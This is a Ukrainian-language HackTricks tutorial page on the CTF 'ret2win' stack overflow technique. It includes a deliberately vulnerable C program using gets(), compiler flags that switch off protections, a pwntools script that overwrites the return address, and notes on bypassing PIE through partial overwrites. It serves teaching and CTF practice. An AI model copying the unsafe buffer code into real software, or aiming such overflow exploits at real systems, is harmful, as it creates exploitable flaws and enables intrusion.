mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			108 lines
		
	
	
		
			9.3 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			108 lines
		
	
	
		
			9.3 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Ret2win
 | ||
| 
 | ||
| {{#include ../../../banners/hacktricks-training.md}}
 | ||
| 
 | ||
| ## Basic Information
 | ||
| 
 | ||
| **Ret2win** завдання є популярною категорією в **Capture The Flag (CTF)** змаганнях, особливо в завданнях, що пов'язані з **binary exploitation**. Мета полягає в тому, щоб експлуатувати вразливість у даному бінарному файлі для виконання конкретної, не викликаної функції в бінарному файлі, яка часто називається чимось на кшталт `win`, `flag` тощо. Ця функція, коли її виконують, зазвичай виводить прапор або повідомлення про успіх. Завдання зазвичай передбачає перезаписування **адреси повернення** в стеку, щоб відвести потік виконання до бажаної функції. Ось більш детальне пояснення з прикладами:
 | ||
| 
 | ||
| ### C Example
 | ||
| 
 | ||
| Розглянемо просту програму на C з вразливістю та функцією `win`, яку ми маємо намір викликати:
 | ||
| ```c
 | ||
| #include <stdio.h>
 | ||
| #include <string.h>
 | ||
| 
 | ||
| void win() {
 | ||
| printf("Congratulations! You've called the win function.\n");
 | ||
| }
 | ||
| 
 | ||
| void vulnerable_function() {
 | ||
| char buf[64];
 | ||
| gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
 | ||
| }
 | ||
| 
 | ||
| int main() {
 | ||
| vulnerable_function();
 | ||
| return 0;
 | ||
| }
 | ||
| ```
 | ||
| Щоб скомпілювати цю програму без захисту стеку та з вимкненим **ASLR**, ви можете використати наступну команду:
 | ||
| ```sh
 | ||
| gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 | ||
| ```
 | ||
| - `-m32`: Скомпілювати програму як 32-бітний бінарний файл (це необов'язково, але поширено в CTF завданнях).
 | ||
| - `-fno-stack-protector`: Вимкнути захист від переповнень стеку.
 | ||
| - `-z execstack`: Дозволити виконання коду в стеку.
 | ||
| - `-no-pie`: Вимкнути Position Independent Executable, щоб адреса функції `win` не змінювалася.
 | ||
| - `-o vulnerable`: Назвати вихідний файл `vulnerable`.
 | ||
| 
 | ||
| ### Python Exploit using Pwntools
 | ||
| 
 | ||
| Для експлойту ми використаємо **pwntools**, потужний CTF фреймворк для написання експлойтів. Скрипт експлойту створить payload для переповнення буфера та перезапису адреси повернення адресою функції `win`.
 | ||
| ```python
 | ||
| from pwn import *
 | ||
| 
 | ||
| # Set up the process and context for the binary
 | ||
| binary_path = './vulnerable'
 | ||
| p = process(binary_path)
 | ||
| context.binary = binary_path
 | ||
| 
 | ||
| # Find the address of the win function
 | ||
| win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary
 | ||
| 
 | ||
| # Create the payload
 | ||
| # The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
 | ||
| payload = b'A' * 68 + win_addr
 | ||
| 
 | ||
| # Send the payload
 | ||
| p.sendline(payload)
 | ||
| p.interactive()
 | ||
| ```
 | ||
| Щоб знайти адресу функції `win`, ви можете використовувати **gdb**, **objdump** або будь-який інший інструмент, який дозволяє вам перевіряти бінарні файли. Наприклад, з `objdump` ви можете використовувати:
 | ||
| ```sh
 | ||
| objdump -d vulnerable | grep win
 | ||
| ```
 | ||
| Ця команда покаже вам асемблер функції `win`, включаючи її початкову адресу.
 | ||
| 
 | ||
| Python-скрипт надсилає ретельно підготовлене повідомлення, яке, оброблене функцією `vulnerable_function`, переповнює буфер і перезаписує адресу повернення в стеку адресою `win`. Коли `vulnerable_function` повертається, замість повернення до `main` або виходу, вона переходить до `win`, і повідомлення виводиться.
 | ||
| 
 | ||
| ## Захист
 | ||
| 
 | ||
| - [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **повинен бути вимкнений**, щоб адреса була надійною під час виконання, інакше адреса, де буде зберігатися функція, не завжди буде однаковою, і вам знадобиться якийсь leak, щоб зрозуміти, де завантажена функція win. У деяких випадках, коли функція, що викликає переповнення, є `read` або подібною, ви можете зробити **Часткове Перезаписування** 1 або 2 байтів, щоб змінити адресу повернення на функцію win. Через те, як працює ASLR, останні три шістнадцяткові нібли не рандомізовані, тому є **1/16 шанс** (1 нібл) отримати правильну адресу повернення.
 | ||
| - [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) також повинні бути вимкнені, інакше скомпрометована адреса повернення EIP ніколи не буде виконана.
 | ||
| 
 | ||
| ## Інші приклади та посилання
 | ||
| 
 | ||
| - [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
 | ||
| - [https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html](https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html)
 | ||
| - 32 біт, без ASLR
 | ||
| - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html)
 | ||
| - 64 біти з ASLR, з leak адреси бінарника
 | ||
| - [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
 | ||
| - 64 біти, без ASLR
 | ||
| - [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
 | ||
| - 32 біти, без ASLR, подвійне мале переповнення, спочатку переповнює стек і збільшує розмір другого переповнення
 | ||
| - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
 | ||
| - 32 біт, relro, без канарки, nx, без pie, форматний рядок для перезапису адреси `fflush` з функцією win (ret2win)
 | ||
| - [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
 | ||
| - 32 біт, nx, нічого іншого, часткове перезаписування EIP (1 байт) для виклику функції win
 | ||
| - [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
 | ||
| - 32 біт, nx, нічого іншого, часткове перезаписування EIP (1 байт) для виклику функції win
 | ||
| - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
 | ||
| - Програма лише перевіряє останній байт числа, щоб перевірити розмір введення, тому можливо додати будь-який розмір, якщо останній байт знаходиться в дозволеному діапазоні. Тоді введення створює переповнення буфера, яке експлуатується за допомогою ret2win.
 | ||
| - [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
 | ||
| - 64 біти, relro, без канарки, nx, pie. Часткове перезаписування для виклику функції win (ret2win)
 | ||
| - [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
 | ||
| - arm64, PIE, він дає leak PIE, функція win насправді є 2 функціями, тому ROP гаджет, який викликає 2 функції
 | ||
| - [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
 | ||
| - ARM64, off-by-one для виклику функції win
 | ||
| 
 | ||
| ## Приклад ARM64
 | ||
| 
 | ||
| {{#ref}}
 | ||
| ret2win-arm64.md
 | ||
| {{#endref}}
 | ||
| 
 | ||
| {{#include ../../../banners/hacktricks-training.md}}
 |